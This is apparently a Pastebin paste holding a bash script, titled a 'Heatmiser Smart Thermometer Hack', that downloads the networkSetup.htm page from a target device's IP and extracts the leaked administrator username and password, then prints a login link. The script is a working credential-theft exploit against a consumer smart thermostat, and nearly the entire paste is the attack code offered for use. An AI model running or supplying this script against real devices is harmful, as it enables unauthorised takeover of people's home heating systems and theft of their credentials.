Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- echo Heatmiser Smart Thermometer Hack
- echo Usage: $0 \<ip\[:port\]\> \(Default is 80. If it doesn\'t work, try port 8081\)
- echo This tool gets the username and password of a vulnerable Heatmiser thermostat
- echo Deleting old files
- rm networkSetup.htm*
- echo Copying disclosing page
- wget http://$1/networkSetup.htm
- echo Getting Username and Password
- echo Username:
- cat networkSetup.htm | grep "User" | grep "Name:" | awk -F 'value=' '{print $2}' | cut -d '"' -f 2
- echo Password:
- cat networkSetup.htm | grep "User" | grep "Password:" |grep -v -i "confirm" | awk -F 'value=' '{print $2}' | cut -d '"' -f 2
- echo Success! Log in to the web interface with the above credentials.
- echo http://$1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement